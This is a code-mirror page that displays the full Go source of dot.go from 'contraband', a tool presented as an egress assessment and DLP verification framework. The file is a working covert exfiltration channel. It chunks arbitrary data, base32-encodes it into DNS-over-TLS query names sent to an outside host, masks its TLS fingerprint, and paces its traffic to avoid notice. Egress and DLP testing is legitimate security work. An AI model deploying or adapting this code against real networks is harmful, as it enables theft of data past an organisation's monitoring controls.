● Notice //GitHub (@shehzade) is temporarily suspended pending an automated false-positive review. All tools are hosted on this Code Mirror and available on request (contact); GitHub links will return once reinstated.
PUBLIC MIRRORGo v1.0

Multi-protocol network egress assessment and DLP verification framework featuring automated L4 sweeps, corporate proxy traversal, and covert protocol smuggling across 20+ channels.

$ git clone https://shehzade.io/repos/contraband.git Copy
Source ZIP (1.93 MB)
Code 174 Commits 1
contraband / pkg / client / exfil / dns / dot.go
← Back to directory
256 lines · 7.0 KB
Raw
1package dns
2
3import (
4 "context"
5 "crypto/sha256"
6 "encoding/base32"
7 "encoding/binary"
8 "encoding/hex"
9 "errors"
10 "fmt"
11 "io"
12 "net"
13 "strconv"
14 "strings"
15 "time"
16
17 mdns "github.com/miekg/dns"
18 "github.com/shehzade/contraband/pkg/client/exfil"
19 "github.com/shehzade/contraband/pkg/common"
20)
21
22// DoTExfiltrator implements DNS over TLS (RFC 7858) with uTLS ClientHello masquerading and ALPN "dot".
23type DoTExfiltrator struct{}
24
25func NewDoTExfiltrator() *DoTExfiltrator {
26 return &DoTExfiltrator{}
27}
28
29func init() {
30 exfil.RegisterExfiltrator(common.ProtoDoT, NewDoTExfiltrator())
31}
32
33func (e *DoTExfiltrator) Protocol() string {
34 return common.ProtoDoT
35}
36
37func (e *DoTExfiltrator) Exfiltrate(ctx context.Context, reader io.Reader, opts exfil.ExfilOptions) (*common.ProbeResult, error) {
38 if err := opts.Validate(); err != nil {
39 return nil, err
40 }
41
42 start := time.Now().UTC()
43 result, err := common.NewProbeResult("exfil", e.Protocol(), opts.TargetHost, opts.TargetPort)
44 if err != nil {
45 return nil, err
46 }
47 result.Timestamps.StartTCP = start
48 result.TLSProfile = opts.TLSFingerprint
49 result.PayloadType = opts.PayloadType
50 result.CarrierType = opts.CarrierType
51
52 payload, err := io.ReadAll(reader)
53 if err != nil {
54 return nil, fmt.Errorf("failed to read payload: %w", err)
55 }
56 result.TargetVolume = int64(len(payload))
57
58 if opts.ExpectedHash == "" {
59 h := sha256.Sum256(payload)
60 opts.ExpectedHash = hex.EncodeToString(h[:])
61 }
62 result.PayloadHash = opts.ExpectedHash
63
64 if opts.SessionToken.IsZero() {
65 tok, tokErr := common.NewSessionToken()
66 if tokErr != nil {
67 return nil, tokErr
68 }
69 opts.SessionToken = tok
70 }
71
72 dnsChunkSize := 32
73 if opts.ChunkSize > 0 && opts.ChunkSize < 32 {
74 dnsChunkSize = opts.ChunkSize
75 }
76
77 var rawChunks [][]byte
78 if len(payload) == 0 {
79 rawChunks = [][]byte{{}}
80 } else {
81 for i := 0; i < len(payload); i += dnsChunkSize {
82 end := i + dnsChunkSize
83 if end > len(payload) {
84 end = len(payload)
85 }
86 rawChunks = append(rawChunks, payload[i:end])
87 }
88 }
89 totalChunks := uint32(len(rawChunks))
90
91 domain := opts.Headers["domain"]
92 if domain == "" {
93 domain = "contraband.local"
94 }
95 domain = strings.TrimSuffix(domain, ".")
96
97 targetAddr := net.JoinHostPort(opts.TargetHost, strconv.Itoa(opts.TargetPort))
98 tlsCfg := exfil.TLSConfig{
99 ServerName: opts.TargetHost,
100 InsecureSkipVerify: opts.InsecureTLS,
101 Fingerprint: opts.TLSFingerprint,
102 ALPN: []string{common.ALPNDoT},
103 }
104
105 var conn net.Conn
106 if opts.ProxyDialer != nil {
107 rawConn, dialErr := opts.ProxyDialer.DialContext(ctx, "tcp", targetAddr)
108 if dialErr != nil {
109 result.Verdict = classifyError(dialErr)
110 result.ErrorMessage = dialErr.Error()
111 calculateDurations(&result)
112 return &result, dialErr
113 }
114 mConn, wrapErr := exfil.WrapConn(ctx, rawConn, targetAddr, tlsCfg)
115 if wrapErr != nil {
116 rawConn.Close()
117 result.Verdict = classifyError(wrapErr)
118 result.ErrorMessage = wrapErr.Error()
119 calculateDurations(&result)
120 return &result, wrapErr
121 }
122 conn = mConn
123 result.JA3String, _ = mConn.GetJA3()
124 result.JA4String = mConn.GetJA4()
125 } else {
126 mConn, dialErr := exfil.DialTLS(ctx, "tcp", targetAddr, tlsCfg)
127 if dialErr != nil {
128 result.Verdict = classifyError(dialErr)
129 result.ErrorMessage = dialErr.Error()
130 calculateDurations(&result)
131 return &result, dialErr
132 }
133 conn = mConn
134 result.JA3String, _ = mConn.GetJA3()
135 result.JA4String = mConn.GetJA4()
136 }
137 defer conn.Close()
138
139 result.Timestamps.ConnectedTCP = time.Now().UTC()
140 result.Timestamps.HandshakeTLS = time.Now().UTC()
141 result.Timestamps.FirstByteSent = time.Now().UTC()
142
143 b32Enc := base32.StdEncoding.WithPadding(base32.NoPadding)
144
145 for seq := uint32(1); seq <= totalChunks; seq++ {
146 chunkData := rawChunks[seq-1]
147 b32Chunk := b32Enc.EncodeToString(chunkData)
148 if b32Chunk == "" {
149 b32Chunk = "A"
150 }
151
152 fqdn := fmt.Sprintf("%d.%d.%s.%s.%s.", seq, totalChunks, opts.SessionToken.String(), b32Chunk, domain)
153 msg := new(mdns.Msg)
154 msg.SetQuestion(fqdn, mdns.TypeA)
155 msg.RecursionDesired = false
156
157 packedMsg, packErr := msg.Pack()
158 if packErr != nil {
159 result.Verdict = common.VerdictBlockedL7
160 result.ErrorMessage = fmt.Sprintf("failed to pack DoT message: %v", packErr)
161 calculateDurations(&result)
162 return &result, packErr
163 }
164
165 // RFC 7858 framing: 2-byte BigEndian length prefix followed by message
166 frame := make([]byte, 2+len(packedMsg))
167 binary.BigEndian.PutUint16(frame[0:2], uint16(len(packedMsg)))
168 copy(frame[2:], packedMsg)
169
170 if _, writeErr := conn.Write(frame); writeErr != nil {
171 result.Verdict = classifyError(writeErr)
172 result.ErrorMessage = fmt.Sprintf("failed to write DoT frame: %v", writeErr)
173 calculateDurations(&result)
174 return &result, writeErr
175 }
176 result.BytesSent += int64(len(frame))
177
178 // Read 2-byte length prefix
179 lenBuf := make([]byte, 2)
180 if _, readErr := io.ReadFull(conn, lenBuf); readErr != nil {
181 result.Verdict = classifyError(readErr)
182 result.ErrorMessage = fmt.Sprintf("failed to read DoT response length prefix: %v", readErr)
183 calculateDurations(&result)
184 return &result, readErr
185 }
186 respLen := binary.BigEndian.Uint16(lenBuf)
187
188 respMsgBuf := make([]byte, respLen)
189 if _, readErr := io.ReadFull(conn, respMsgBuf); readErr != nil {
190 result.Verdict = classifyError(readErr)
191 result.ErrorMessage = fmt.Sprintf("failed to read DoT response body: %v", readErr)
192 calculateDurations(&result)
193 return &result, readErr
194 }
195 result.BytesRecv += int64(2 + respLen)
196
197 respMsg := new(mdns.Msg)
198 if err := respMsg.Unpack(respMsgBuf); err != nil {
199 result.Verdict = common.VerdictBlockedL7
200 result.ErrorMessage = fmt.Sprintf("failed to unpack DoT response: %v", err)
201 calculateDurations(&result)
202 return &result, err
203 }
204
205 var ackConfirmed bool
206 for _, ans := range respMsg.Answer {
207 if aRecord, ok := ans.(*mdns.A); ok && aRecord.A != nil {
208 ip := aRecord.A.To4()
209 if ip != nil && ip[0] == 127 {
210 ackSeq := uint32(ip[1])<<16 | uint32(ip[2])<<8 | uint32(ip[3])
211 if ackSeq == seq {
212 ackConfirmed = true
213 break
214 }
215 }
216 }
217 }
218
219 if !ackConfirmed {
220 result.Verdict = common.VerdictBlockedL7
221 result.ErrorMessage = fmt.Sprintf("invalid DoT sequence ACK for chunk %d", seq)
222 calculateDurations(&result)
223 return &result, errors.New(result.ErrorMessage)
224 }
225
226 if opts.Shaper != nil {
227 if err := opts.Shaper.WaitN(ctx, len(chunkData)); err != nil {
228 result.Verdict = classifyError(err)
229 result.ErrorMessage = err.Error()
230 calculateDurations(&result)
231 return &result, err
232 }
233 }
234 if opts.Cadence != nil {
235 delay := opts.Cadence.NextDelay()
236 if delay > 0 {
237 select {
238 case <-time.After(delay):
239 case <-ctx.Done():
240 result.Verdict = classifyError(ctx.Err())
241 result.ErrorMessage = ctx.Err().Error()
242 calculateDurations(&result)
243 return &result, ctx.Err()
244 }
245 }
246 }
247 }
248
249 result.Timestamps.AckReceived = time.Now().UTC()
250 result.Timestamps.TeardownDone = time.Now().UTC()
251 result.Verdict = common.VerdictSuccess
252 result.RawEvidence = common.FormatBoundedRawEvidence(payload)
253
254 calculateDurations(&result)
255 return &result, nil
256}